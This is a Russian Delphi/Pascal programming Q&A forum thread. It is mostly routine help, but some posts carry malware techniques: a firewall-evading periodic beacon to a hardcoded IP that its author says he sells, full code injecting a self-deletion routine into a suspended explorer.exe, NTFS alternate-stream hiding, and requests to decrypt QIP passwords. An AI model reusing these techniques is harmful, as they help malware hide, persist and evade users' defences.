PDA

Просмотр полной версии : [Delphi]/[Pascal] Задай вопрос, получи ответ


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [20] 21 22 23 24 25 26 27 28

transserg
29.10.2009, 20:32
есть такой тупой вопрос как объявить такой тип данных если возможно

_ParM= packed record
Menu:string;
SubMenu:Array of _ParM;
Index:Integer;
end;

среда ругается на такое объявление.

slesh
29.10.2009, 23:09
А ты его не сможеш объявить потому что он рекурсивный, тоесть сам в себе.
Другое дело еслибы переменная SubMenu былабы ссылкой на массив.

wolmer
30.10.2009, 07:50
Такой вопрос...
Сделал многопоточное прил. для работы с интернетом, запускаю...
При старте потоков выск. ошибка и пишется "Invalid pointer operation"
При 2 потоках (до этого ставил 4) все нормально работает! И еще тут есть такой ньюанс что иногда пашет и с 4 потоками

Что может быть не так что вылетает такая ошибка? (чувствую что что-то не так намутил с крит. секциями (но не точно предпологаю))

Absinthe
30.10.2009, 20:19
Привет Всем!
Вот такой вопрос.
Есть StringGrid/ В нём много ячеек. Нужно записать значение 2-6 edit'ов в ячейки таблицы StringGrid. ( В строчку)
Причем это делать много раз ... и чтобы ранние значения не были заменены на новые
Они должны сохраняться из базы ( xls файл )
:rolleyes: :confused:

0ldbi4
31.10.2009, 00:18
Вспомнил про возможность сокрытия информации в потоке
type info >> file.xxx:stream1
не кто не знает как это реализовать на делфи?

slesh
31.10.2009, 01:01
var
f:textfile;
s:string;
begin
assignfile(f, 'e:\test.txt:strem1');
rewrite(f);
write(f,'hello222222222');
closefile(f);

assignfile(f, 'e:\test.txt:strem1');
reset(f);
read(f,s);
closefile(f);
ShowMessage(s);

0ldbi4
31.10.2009, 01:04
Всё более просто чем я себе предсталял спасибо

wolmer
31.10.2009, 09:13
Есть ли аналог функции time() как в php но токо в делфи?

time()

Возвращает количество секунд, прошедших с начала Эпохи Unix (т.е. с 1 января 1970, 00:00:00 GMT по наше время)

Nullsleep
31.10.2009, 12:02
А эту дату от текущей отнимать не пробывал? ;)

RAINUR2
31.10.2009, 12:15
есть вопросик,)можно ли на Турбо Паскаль 7 работать с аськой, ну там подключаться....

slesh
31.10.2009, 12:16
Можно если найдешь 32-х битную версию и напишеш сам ICQ клиент.
Но вообще паскаль считай умер, юзай делфи. Ненравится размер - откажись от VCL

RAINUR2
31.10.2009, 12:26
ДА я это для интереса, не подскажите как на делфи???

Adekvatnyj
31.10.2009, 12:51
Дайте книжку по Delphi "Програмирование для людей из раздела прогресирующего даунизма" или что то подобное, все книги сразу рассматривают готовое приложение, а переменные и постоянные не рассказано как делать.

=Zeus=
31.10.2009, 14:35
Здравствуйте, уважаемые античатовцы. У меня возникла неожиданная проблемма с Indy. Программа должна делать загрузку файлов на хостинг. В процессе тестирования выяснилось, что программа отправляет в 2 раза больше трафика: если я загружал файл на 2 Мб - реально моя программа отправляет чуть больше 4-х. Я растерян. Кто встречался с подобным, подскажите решение проблеммы. Пользують D2010, Indy 10.5.5. Спасибо за внимание.
Код загрузки:

function Upload(AURL, AFile: string): string;
var formData: TIdMultiPartFormDataStream;
begin
formData := TIdMultiPartFormDataStream.Create;
try
// Добаляю параметры в formData
// и файл:
formData.AddFile('upsingle',AFile,GetContentType(A File));
try
Result := idHTTP.Post(AURL,formData);
except
Result := '';
end;
finally
formData.Free;
end;
end;

Пуховой
31.10.2009, 18:06
=Zeus=, 10.5.5 вышла 19.12.2008, почти год назад. Поставьте версию поновее (вдруг поможет).

Сегодняшняя ревизия indy 10.5.7 (rev.3853), с пофиксенным TIdMultiPartFormData (не по вашему случаю, но очень важно) - вылил на рапиду (http://www.rapidshare.ru/1233151).

=Zeus=
31.10.2009, 18:38
=Zeus=, 10.5.5 вышла 19.12.2008, почти год назад. Поставьте версию поновее (вдруг поможет).

Сегодняшняя ревизия indy 10.5.7 (rev.3853), с пофиксенным TIdMultiPartFormData (не по вашему случаю, но очень важно) - вылил на рапиду (http://www.rapidshare.ru/1233151).
Поставил. Не помогло :(

_nic
31.10.2009, 20:24
В какой кодировке содержится текст в Memo ?

Patrik
31.10.2009, 20:41
В какой кодировке содержится текст в Memo ?
ANSI, если не ошибаюсь.

ErrorNeo
31.10.2009, 21:11
предыдущую копию этого вопроса (2 дня назад) удалил, по прежнему актуально.
не верю что совершенно никто не знает
за решение с меня +10.

вопрос:
как реализовать периодический отстук приложения внутри одного сокета?

Вариант, который отстукивает каждые 60 секунд создавая новый сокет:
WSAStartup(MAKEWORD(2,0), wsaData);

while not terminated do
begin
sleep(60000);
s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family:=AF_Inet;
addr.sin_addr.S_addr:=inet_addr('111.22.33.44');
addr.sin_port:=htons(80);
Connect(S,addr,SizeOf(TSockAddr));
sendbuff :=
'GET / HTTP/1.1'+ #13#10 +
'Host: 111.22.33.44'+ #13#10#13#10;
send(s, sendbuff[1] , Length(sendbuff), 0);
closesocket(s);
end;

WSACleanup;Если вписать строку с send 2 раза(метод научного тыка), то на второй отстук внутри того же сокета ответа от хоста не будет. Добавлять
Keep-Alive: 300
Connection: Keep-Alive
тоже бесполено. Видимо изначально нужно как-то до-другому открывать сокет.

Заранее благодарю

bons
01.11.2009, 01:10
зачем именно внутри одного? вообще считается что для каждого соединения надо создавать свой сокет.
по поводу Keep-Alive - не все серверы и не всегда будут слушаться этой инструкции. Тут желательно посмотреть что он отвечает, возможно там будет Connection: close

axee
01.11.2009, 02:31
Я взломал точку, все пароль пишу но мне видает что сеть ограничено или отсутствует что это? раньше все норм было подключался

Nizhegorodets
01.11.2009, 14:27
Здравствуйте, пишу автореггер на один сайт и требуется сделать его многопоточным , знаю что нужно делать с помощью TThread , но что то не получается(
Запросы отправляются через IdHttp

Скотти
01.11.2009, 14:29
Nizhegorodets, хорошая стать про потоки в idhttp __http://www.delphisources.ru/pages/faq/base/http_protocol.html для начала как раз

wolmer
01.11.2009, 14:32
Здравствуйте, пишу автореггер на один сайт и требуется сделать его многопоточным , знаю что нужно делать с помощью TThread , но что то не получается(
Запросы отправляются через IdHttp
Хороший пример: http://forum.antichat.ru/threadnav143556-1-10.html

=Zeus=
01.11.2009, 16:16
предыдущую копию этого вопроса (2 дня назад) удалил, по прежнему актуально.
не верю что совершенно никто не знает
за решение с меня +10.

вопрос:
как реализовать периодический отстук приложения внутри одного сокета?


Вон, на Делфикингдоме прочитал:

Сокет, созданный с помощью функции Socket, не привязан ни к какому адресу. Привязка осуществляется с помощью функции Bind, имеющей следующий прототип:

function Bind(S:TSocket;var Addr:TSockAddr;NameLen:Integer):Integer;

Первый параметр этой функции - дескриптор сокета, который привязывается к адресу. Здесь, как и в остальных подобных случаях, требуется передать значение, которое вернула функция Socket. Второй параметр содержит адрес, к которому требуется привязать сокет, а третий - длину структуры, содержащей адрес.

Может в этом проблема, если 2 раза send написать? Ну, думаю не стоит упоминать, что между ними должен быть sleep(). А может действительно проблема в сервере...

Uname-A
01.11.2009, 16:29
Приветствую

Вопрос такой:
Есть программа Нужно узнать её версию и загрузить в переменную

Нашол один способ:
function GetMyVersion:string;
type
TVerInfo=packed record
Nevazhno: array[0..47] of byte; // ненужные нам 48 байт
Minor,Major,Build,Release: word; // а тут версия
end;
var
s:TResourceStream;
v:TVerInfo;
begin
result:='';
try
s:=TResourceStream.Create(HInstance,'#1',RT_VERSIO N); // достаём ресурс
if s.Size>0 then begin
s.Read(v,SizeOf(v)); // читаем нужные нам байты
result:=IntToStr(v.Major)+'.'+IntToStr(v.Minor)+'. '+ // вот и версия...
IntToStr(v.Release)+'.'+IntToStr(v.Build);
end;
s.Free;
except; end;
end;

Но вот неужели нет более простого способа получить эти заветные циферки?

Неужели программа нигде не хранит свою версию кроме как в ресурсах?

Killerkod
01.11.2009, 17:06
Пытаюсь увеличить размер бинарника дописать в конец файла нули...
Написал процедуру, но никак, вылетает ошибка...
Скажите что не так?
Увеличиваю стороннюю прогу из своей...

procedure addsize;
var
f:TfileStream;
i,i1:integer;
bin:char;
begin
f:=TFileStream.Create('file.exe', fmOpenRead);
f.Seek(0, soFromEnd);
i1:=Strtoint(Form1.Edit2.Text)*1000;//тут указывается на сколько увеличить...
bin:=#00;
f.WriteBuffer(bin,i1);
f.Free;
end;

=Zeus=
01.11.2009, 18:02
Пытаюсь увеличить размер бинарника дописать в конец файла нули...
Написал процедуру, но никак, вылетает ошибка...
Скажите что не так?
Увеличиваю стороннюю прогу из своей...

Попробуй так

procedure TForm1.Button1Click(Sender: TObject);
var
d: byte;
f, k: TfileStream;
i:integer;
begin
f:=TFileStream.Create('E:\1.exe', fmOpenRead); // тут твой путь, файл 1.ехе должен существовать
k:=TFileStream.Create('E:\2.exe',fmCreate);

for i:=0 to f.Size-1 do
begin
f.Read(d,1);
k.Write(d,1);
end;
d:=0;
for i:=0 to 10000 do // или сколько там надо?
k.Write(d,1);

f.Free;
k.free
end;

Balvan
01.11.2009, 18:04
Как можно перевести не типизированный файл в "строку"?

ErrorNeo
01.11.2009, 18:32
bons
внутри одного сокета - потому каждый раз при соединении с сервером фаервол запрашивает на это разрешение, а добавлять в *доверенные* пользователь моё приложение, вероятно, не станет.
Потому как по идее это приложение вообще не должно стучаться в сеть... не то что каждую минуту.
Обхода нормальных фаеров, кроме стандартного, я пока еще не сделал.
ps. никакого connection close в ответах нет.

=Zeus=
хз, потестю bind. У меня есть код с биндом, и он создает разные сокеты. Но быть может с помошью него можно работать и через один. По-разбираюсь.
2 send подряд не катит ни при каком раскладе, в т.ч. и с sleep.
Опять таки возможно, что для работы через 1 сокет требуется поддержка этой ф-ции не только программой, но и сервером.

в общем теперь я хотя бы знаю, что никто толком не знает :) спс за ответы.
накрайняк не буду париться и доизучу процесс инжектирования в др. процессы.

bons
01.11.2009, 19:21
если пользователь не станет добавлять приложение в доверенные то оно вообще никому не достучится ни в первый раз ни во второй. А перед тем как задумываться об обходе фаера неплохо бы изучить хотя бы основы работы с сокетами и TCP соединениями.
Также еще неплохо бы тебе решить, будет ли приложение поддерживать постоянное соединение или же устанавливать каждый раз новое.
в общем теперь я хотя бы знаю, что никто толком не знает
просто ты не совсем понимаешь вообще что ты хочешь написать и как оно будет работать. А обходить фаеры в юзермоде причем такими "способами" плохая идея

ErrorNeo
01.11.2009, 21:07
если пользователь не станет добавлять приложение в доверенные то оно вообще никому не достучится ни в первый раз ни во второй. заблуждение.
первый раз пользователь дает доступ приложению в сеть в 90% случаев. статистика с нескольких тысяч загрузок.


А перед тем как задумываться об обходе фаера неплохо бы изучить хотя бы основы работы с сокетами и TCP соединениями.странные слова.
По-твоему я уже сравнительно-длительное время пишу на сокетах не зная, как ты выразился, основ работы с ними?

Также еще неплохо бы тебе решить, будет ли приложение поддерживать постоянное соединение или же устанавливать каждый раз новое. у меня написано, что с установлением новых соединений код уже и так неплохо работает. Нужно именно постоянное соединение, для того, чтобы пусть и временно, но повысить пробив.
Да и вообще так цивильнее.

просто ты не совсем понимаешь вообще что ты хочешь написать и как оно будет работать.у меня уже давно сделан и продан за 2 сотни грина полностью рабочий код с пробивом 20% (встроен обход стандартного брандмауэра)
По твоему я не знаю, что хочу написать?! :eek:

А обходить фаеры в юзермоде причем такими "способами" плохая идеяу 95% пользоветелей ститема запущена под админом. Статистика с нескольких тысяч загрузок. Задача по обходу фаера в юзермоде передо мной не стоит.

Ну и резюме.
Не строй из себя ботана. Знаешь конкретное решение - плюс. Не знаешь - не строй из себя умного. Раздражает.
Ничего личного.

yfet
03.11.2009, 00:55
как рамдомно выбрать строку из листбокса?

BrainDeaD
03.11.2009, 01:03
как рамдомно выбрать строку из листбокса?
в каком языке?
общий алгоритм таков: генерируем рандомное число, затем выбираем елемент с этим номером.

yfet
03.11.2009, 01:06
судя по названию темы тяжко не догадатся на каком языке. код в студию) если б смог бы сам написать - не обращался бы

=Zeus=
03.11.2009, 01:22
судя по названию темы тяжко не догадатся на каком языке. код в студию) если б смог бы сам написать - не обращался бы

Получай! :p

var i: integer;
...
Randomize;
i:=Random(ListBox1.Items.Count-1);
ListBox1.ItemIndex:=i;

BrainDeaD
03.11.2009, 01:28
судя по названию темы тяжко не догадатся на каком языке. код в студию) если б смог бы сам написать - не обращался бы
протупил. посмотрел на название раздела, а не темы. ну вот зевсик и перевёл.

2kill
03.11.2009, 01:37
задачка по паскалю...
Дан двумерный массив размером n*m, заполненный случайным образом. Определить, есть ли в данном массиве строка, в которой имеется два числа кратных двум.

никак не могу допереть как определить количество чисел кратных двум в строке! хелп!

Zabuldon
03.11.2009, 01:59
Ребят подскажите методы организации кеширования в TWebBrowser. Любой кроме прокси. Если можно сорсы в студию.

StealthMaster
03.11.2009, 03:19
Дан двумерный массив размером n*m, заполненный случайным образом. Определить, есть ли в данном массиве строка, в которой имеется два числа кратных двум.


type
TMatrix = array [1..n,1..m] of integer;


function FindStr(Matrix: TMatrix): boolean;
var
counter, i, j: integer;
begin
for i := 1 to n do
begin
counter := 0;

for j := 1 to m do
if (Matrix[i,j] mod 2 = 0) then
inc(counter);

if (counter = 2) then
begin
Result := true;
exit;
end;
end;
Result := false;
end;

2kill
03.11.2009, 09:26
StealthMaster, спасибо. оказалось очень просто! =)

GhostOnline
03.11.2009, 11:22
Скажите, я вижу это уже обсуждалось.
Инди 10.5.7 и антикапча не работают?
У меня выскакивает No Data To Read

Пуховой
03.11.2009, 14:46
GhostOnline, надо патчить IdMultipartFormData.pas

Процедура TIdMultiPartFormDataStream.AddFile
Заменяем FSize := FSize + LItem.FieldSize; на FSize := FSize + LItem.FieldSize + 2;

Процедура TIdFormDataField.GetFieldSize
Заменяем Result := Result + LEncoding.GetByteCount(TStrings(FieldObject).Text) + 2; на Result := Result + LEncoding.GetByteCount(TStrings(FieldObject).Text) ;
Заменяем Result := Result + TStream(FieldObject).Size + 2; на Result := Result + TStream(FieldObject).Size;

Перекомпилируем... И все работает.

Mykola-bas
04.11.2009, 00:49
знаю что ткпой вопрос но всеже:
как вывести в делфи картинку с урл?

ange007
04.11.2009, 01:04
знаю что ткпой вопрос но всеже:
как вывести в делфи картинку с урл?
var img : TMemoryStream;
filename:string;
begin
filename:=ExtractFilePath(Application.ExeName)+'/image.jpg';
img:=TMemoryStream.Create;
idHttp.Get('адрес картинки',img);
Image1.Picture.Graphic.LoadFromStream(img);
{или img.SaveToFile(filename);
Image1.Picture.LoadFromFile(filename); }
img.Free;

Scripter
04.11.2009, 20:01
нашел функцию, которая создает бат файл, в свою очередь который крутится по циклу то тех пор пока не удалит exe файл, а потом себя.

Все работает отлично, но вот если в пути будут русские буквы, то всё... функциональность становится равна 0.
Есть другие способы запускаемому exe файлу уничтожить себя же?
procedure Suicide;
var
F: Textfile;
begin
AssignFile(F,Changefileext(Paramstr(0),'.bat'));
Rewrite(F);
Writeln(F,':1');
Writeln(F, Format('Erase "%s"',[Paramstr(0)]));
Writeln(F, Format('If exist "%s" Goto 1',[Paramstr(0)]));
Writeln(F, Format('Erase "%s"',[ChangeFileExt(Paramstr(0),'.bat')]));
CloseFile(F);
WinExec(PChar(ChangeFileExt(Paramstr(0),'.bat')),S W_HIDE);
Halt;
end;

transserg
04.11.2009, 20:09
Scripter

Program DSelfDel;
Uses
Windows;

{
Few more ways to go:
1. Self-deleting .BAT file
2. Create temporary file using CreateFile() with FILE_FLAG_DELETE_ON_CLOSE flag.

URL: http://forum.vingrad.ru/act-ST/f-1/t-12088/unread-1/anchor-entry77762/0.html
}

Type
TInitStruct = Packed Record
pExitProcess: Pointer;
pWaitForSingleObject: Pointer;
pSleep: Pointer;
pDeleteFile: Pointer;
pCloseHandle: Pointer;
hParent: THandle;
szFileName: Array[0..MAX_PATH-1] Of Char;
End;

Procedure SelfDel; Assembler;
Asm
call @code
@pExitProcess: dd 0
@pWaitForSingleObject: dd 0
@pSleep: dd 0
@pDeleteFile: dd 0
@pCloseHandle: dd 0
@hParent: dd 0
// MAX_PATH = 260 { windows.pas }
@szFileName: db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0

@code:
// ******************************
// full injection code:
pop ebp

push INFINITE
mov ebx, TInitStruct(ebp).hParent
push ebx
call TInitStruct(ebp).pWaitForSingleObject

mov ebx, TInitStruct(ebp).hParent
push ebx
call TInitStruct(ebp).pCloseHandle

@delfile:
lea ebx, TInitStruct(ebp).szFileName
push ebx
call TInitStruct(ebp).pDeleteFile
or eax, eax
jne @exit

push 500
call TInitStruct(ebp).pSleep
jmp @delfile

@exit:
push 0
call TInitStruct(ebp).pExitProcess
End;

Function GetCodeSize(P: PByte): Cardinal; Assembler;
Asm
mov ebx, eax
mov cl, 0C3h
@loop:
inc eax
cmp [eax], cl
jnz @loop
sub eax, ebx
inc eax
End;

{
used links:
http://www.codeproject.com/useritems/selfdel.asp
http://undocumented.ntinternals.net/
}
Function GetProcessEntryPointAddress(hProcess, hThread: THandle): Cardinal;
Var
read, dwFSBase, dwImageBase, dwOffset, dwOptHeaderOffset, dd: Cardinal;
context: TContext;
entry: LDT_ENTRY;
Begin
//
// get the current thread context
//
context.ContextFlags:=CONTEXT_FULL Or CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hThread, context);
//
// use the segment register value to get a pointer to
// the TEB
//
GetThreadSelectorEntry(hThread, context.SegFs, entry);
dwFSBase:=(entry.BaseHi ShL 24) Or (entry.BaseMid ShL 16) Or (entry.BaseLow);
//
// read the teb
//
ReadProcessMemory(hProcess, Ptr(dwFSBase + 48), @dd, 4, read); {1}
//
// read the peb from the location pointed at by the teb
//
ReadProcessMemory(hProcess, Ptr(dd + 8), @dwImageBase, 4, read); {2}
//
// figure out where the entry point is located;
//
ReadProcessMemory(hProcess, Ptr(dwImageBase + $3C), @dwOffset, 4, read); {3}

dwOptHeaderOffset:=(dwImageBase + dwOffset + 4 + 20);

ReadProcessMemory(hProcess, Ptr(dwOptHeaderOffset + 16), @dd, 4, read); {4}
result:=dwImageBase + dd;
End;

Function DeleteSelf: Boolean;
Var
CodeSize, EntryPoint, dummy: Cardinal;
InitStruct: TInitStruct;
hKrnl32: HModule;
St: String;
Pt: PByte;
si: STARTUPINFO;
pi: PROCESS_INFORMATION;
Begin
result:=False;
ZeroMemory(@si, SizeOf(si));
si.cb:=SizeOf(si);
If CreateProcess(Nil, PChar('explorer.exe'), Nil, Nil, False, CREATE_SUSPENDED Or IDLE_PRIORITY_CLASS, Nil, Nil, si, pi) Then
Begin
With InitStruct Do
Begin
DuplicateHandle(GetCurrentProcess, GetCurrentProcess, pi.hProcess, @hParent, 0, FALSE, 0);
hKrnl32:=GetModuleHandle('kernel32');
pExitProcess:=GetProcAddress(hKrnl32, 'ExitProcess');
pWaitForSingleObject:=GetProcAddress(hKrnl32, 'WaitForSingleObject');
pSleep:=GetProcAddress(hKrnl32, 'Sleep');
pDeleteFile:=GetProcAddress(hKrnl32, 'DeleteFileA');
pCloseHandle:=GetProcAddress(hKrnl32, 'CloseHandle');
FillChar(szFileName, MAX_PATH, 0);
St:=ParamStr(0);
Move(St[1], szFileName, Length(St));
End;
Pt:=@SelfDel;
Inc(Pt, 5); // offset to structure
WriteProcessMemory(GetCurrentProcess, Pt, @InitStruct, SizeOf(InitStruct), dummy);
Dec(Pt, 5); // restore offset to program start
CodeSize:=GetCodeSize(Pt);
EntryPoint:=GetProcessEntryPointAddress(pi.hProces s, pi.hThread);
VirtualProtectEx(pi.hProcess, Ptr(entrypoint), CodeSize, PAGE_EXECUTE_READWRITE, dummy);
WriteProcessMemory(pi.hProcess, Ptr(entrypoint), Pt, CodeSize, dummy);
FlushInstructionCache(pi.hProcess, Ptr(entrypoint), CodeSize);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
result:=True;
End;
End;

Begin
DeleteSelf;
End.

Но антивирусы в частности каспер ругается на этот код

Scripter
04.11.2009, 20:39
Но антивирусы в частности каспер ругается на этот код
тогда к сожалению меня это не устраивает :(

slesh
04.11.2009, 21:21
2 Scripter вообще в консоле когда нужно указать путь в котором содержаться пробелы, то нужно взять путь в ковычках. т.е. типа del "c:\program file\file.exe"

transserg
04.11.2009, 22:06
Scripter а зачем тебе полный путь к программе если брать относительный то все долно работать на ура! и ненадо паритсья с русскими буквами и пробелами

slesh
05.11.2009, 10:27
2 transserg а ты не думал, что программа во время выполнения могла сменить текщую директорию? Или допустим быть запущенной с другой текущей директорией.
типа типа \dir\dir\prog.exe
А вообще я уже человеку объяснил что пути нужно брать в ковычки, и предварительно перегонять из Ansi в OEM

0ldbi4
05.11.2009, 11:08
Почему строчка:
ReadLn(f, memo1.Lines.add);
Дает эту ошибку:
[DCC Error] UnitX.pas(59): E2035 Not enough actual parameters

transserg
05.11.2009, 11:20
потому что memo1.Lines.add это метод тоесть функция а не строка
сделай так

var
s:string;
begin
ReadLn(f, s);
memo1.Lines.add(s);
end;

0ldbi4
05.11.2009, 11:38
Уже разобрался, но всё равно спасибо

Пуховой
05.11.2009, 11:57
Использую при создании ПО критические секции. Но одна из последних программ постоянно зависает и, чую я, по вине неправильного их использования.

Грешу на кусочек кода в потоке:
if accounts.Count > 0 then
begin
CriticalSection.Enter;
account := accounts.Strings [0];
accounts.Delete (0);
CriticalSection.Leave;
end else
begin
to_log ('come to an end accounts');
exit;
end;
и функцию:
function to_used (str : string) : integer;
var
t : textfile;
begin
CriticalSection.Enter;
assignfile (t, curdir + '\config\send - used accounts.txt');
append (t);
writeln (t, str);
closefile (t);
CriticalSection.Leave;
Result := 1;
end;

accounts - tstringlist массив строк, строки в него загружаются из файла, при запуске программы.

Кто что может посоветовать?

Заранее спасибо.

transserg
05.11.2009, 12:36
Пуховой
попробуй использовать

var
sect1 : TRTLCriticalSection;

В форм криэйт

initializeCriticalSection(sect1); // Инициализации критической секции


EnterCriticalSection (sect1); //войти в критическую секцию
//Твой код критического участка
LeaveCriticalSection(sect1); //выйти в критическую секцию

а это на форм дестрой

DeleteCriticalSection(sect1);

а ты случаем ни где не используеш terminateThread?
проверь еще выходит ли поток из критической секции..

Пуховой
05.11.2009, 12:52
transserg, спасибо, буду пробовать без "обертки" TCriticalSection.

Тестирую очень просто.

Код потока без обертки TCriticalSection:
procedure inv.Execute;
begin
EnterCriticalSection (CriticalSection);
form1.Memo2.Lines.Add (timetostr (time));
LeaveCriticalSection (CriticalSection);
new_inv (); // запуск нового потока
end;
Код потока с оберткой TCriticalSection:
procedure inv.Execute;
begin
CriticalSection.Enter;
form1.Memo2.Lines.Add (timetostr (time));
CriticalSection.Leave;
new_inv (); // запуск нового потока
end;
Второй вариант "поломался" на 20000-ной строчке в memo. Первый (ваш) пока работает, тьфу-тьфу-тьфу.

Буду тестировать, спасибо огромное!

Пуховой
05.11.2009, 13:30
Отловил я-таки момент зависания.

В процедуре обновления списка прокси-серверов.

procedure TForm1.Timer3Timer(Sender: TObject);
var
s : widestring;
http : tidhttp;
begin
http := tidhttp.create;
http.ReadTimeout := 30000;
s := httpget (http, 'http://awmproxy.com/proxy.php?Id=********&d=1');
if extractb (s, '[^\r\n]*[^\r\n]') <> nil then
begin
CriticalSection.Enter;
proxys.Clear;
proxys.AddStrings (extractb (s, '[^\r\n]*[^\r\n]'));
CriticalSection.Leave;
end;
http.Free;
end;

В момент, когда критическая секция занята, в нее стучится этот код. И все - зависает.

Как иправить, подскажите, пожалуйста :confused:

transserg
05.11.2009, 13:42
Пуховой попробуй не таймер использовать а отдельный поток

Пуховой
05.11.2009, 13:43
transserg, так и сделал... Но сама суть - почему все-таки программа зависает, при стуке таймера в критическую секцию? Вопрос покоя не дает :(

transserg
05.11.2009, 13:49
2 Пуховой

http.ReadTimeout := 30000;

30 секунд ждать не много? если у тебя 1000 итераций то уйдет 60 часов + задержки таймера.

у тебя задержка в такймере сколько стоит?
Зависает всмысле форма не обновляется или программа ничего не делает?
если форма то добавть в цикл потока или той функции котороая больше всего времени отнимает
Application.ProcessMessage;

Пуховой
05.11.2009, 14:13
transserg, задержка в таймере - 10 минут. Т.е. - каждые 10 минут обновляется список прокси-серверов, но дело не в этом. Критическая секция используется только при обновлении самого списка, не более, а на это уходит дай бог 1 мсек.

Сл. эксперимент. Тело таймера:
procedure TForm1.Timer3Timer (Sender: TObject);
begin
CriticalSection.Enter;
proxys.Clear;
proxys.Add ('12345');
CriticalSection.Leave;
end;
При использовании критической секции другим потоком, в момент обращения таймера к ней программа также виснет (приостанавливают работу потоки, перестает отвечать главная форма).

Чую, надо ковырять глубже, интерес разобрал :)

transserg
05.11.2009, 14:28
Пуховой
для того чтоб форма не подвисала используй Application.ProcessMessage; или как варинат преостанавливай потоки на время обновления списка проксей

Пуховой
05.11.2009, 14:38
transserg, application.processmessages здесь не поможет.

Известно одно - таймер тыкается в крит. секцию и все идет "не по плану". Буду копать глубже.

Спасибо за ответы :)

Adekvatnyj
05.11.2009, 22:39
При компиляции программы вываливается "Access violation...". Появляется дебаггер с ассамблерным кодом. Работаю на дельфи 7

transserg
05.11.2009, 22:48
Adekvatnyj зедсь есть экстрасенсы? =) код выложи
или хотяб часть на которую грешиш

Adekvatnyj
05.11.2009, 23:25
При любом коде, скрин:
_http://s19.radikal.ru/i192/0911/29/c04d62ddc85e.png

transserg
05.11.2009, 23:32
Adekvatnyj я имел ввиду код программы а не отладчик

Adekvatnyj
05.11.2009, 23:35
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Label1: TLabel;
Edit1: TEdit;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('Привет, ' + Edit1.Text + '!');
end;

end.

Допотопные коды. С учебника.

transserg
06.11.2009, 00:53
Adekvatnyj попробуй переустановить делфи или поставть Codegear какой нить, скорее всего проблемы в среде

=Zeus=
06.11.2009, 01:42
При компиляции программы вываливается "Access violation...". Появляется дебаггер с ассамблерным кодом. Работаю на дельфи 7

Так какая именно ошибка(ки) вылетают? В студию.
Или если ты скопировал весь код, то возможно такое. Попробуй просто создать новый проект, кинуть на форму кнопку, а уже в ее обработчике написать строчку кода.

Adekvatnyj
07.11.2009, 17:22
_http://i004.radikal.ru/0911/83/d990ff8ed0f6.png
Да вот же скрин. При кнопке, где я в OnClick вписываю Button1Click , и вставляю этот код.

Adekvatnyj
07.11.2009, 18:33
Если это трабла в дельфи, дайте ссылку на нормальный дельфи и серийник к нему.

wolmer
07.11.2009, 20:32
Подскажите алгоритм для расшифровки пароля какой нибуть версии QIP'а

Nullsleep
07.11.2009, 21:09
Для Mail.ru Agent не надо? :D

Tribal_0_o
07.11.2009, 23:24
Не подключаеться к серверу:


unit Unit2;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,winsock, StdCtrls;

type
TForm2 = class(TForm)
Memo1: TMemo;
Button1: TButton;
Edit1: TEdit;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
const
WM_MYSOCKMESS = WM_USER+1;
var
Form2: TForm2;
info:wsadata;
addr:tsockaddr;
a:tsocket;

implementation

{$R *.dfm}

procedure TForm2.Button1Click(Sender: TObject);
begin
addr.sin_family:=af_inet;
addr.sin_port:=htons(80);
addr.sin_addr.S_addr:=inet_addr(pansichar(edit1.te xt));
a:=socket(af_inet,sock_stream,0);
if a=INVALID_SOCKET then
begin
memo1.Lines.Add('Ошибка 1 '+ (inttostr(WSAGetLastError)));
end;

connect(a,addr,sizeof(addr));
if connect(a,addr,sizeof(addr))= 0 then
begin
memo1.Lines.Add('ок');
end
else
begin
memo1.Lines.Add('Ошибка 2');
end

end;

procedure TForm2.FormCreate(Sender: TObject);

begin
wsastartup($101,info);
end;

end.

n1ckolay1987
08.11.2009, 09:59
а где саму дельфи 7 взять и с чего начать?

HakaR
08.11.2009, 10:06
а где саму дельфи 7 взять и с чего начать?

С торрентов скачать, юзай гугл в поисках книги - дельфи для новичков.

wolmer
08.11.2009, 10:06
addr.sin_addr.S_addr:=inet_addr(pansichar(edit1.te xt));
Ты домен пишешь или IP в edit?

intNet
08.11.2009, 11:15
connect(a,addr,sizeof(addr));
if connect(a,addr,sizeof(addr))= 0 then
Зачем ты два раза подключаешься? Или ты думаешь, что во втором случае функция не выполняется? И да, как сказал wolmer функция inet_addr() принимает ip, а не хост.

Tribal_0_o
08.11.2009, 14:07
Зачем ты два раза подключаешься? Или ты думаешь, что во втором случае функция не выполняется? И да, как сказал wolmer функция inet_addr() принимает ip, а не хост.
Спс убрал убрав connect(a,addr,sizeof(addr)); конект удачен=) Конекчусь к IP

Tribal_0_o
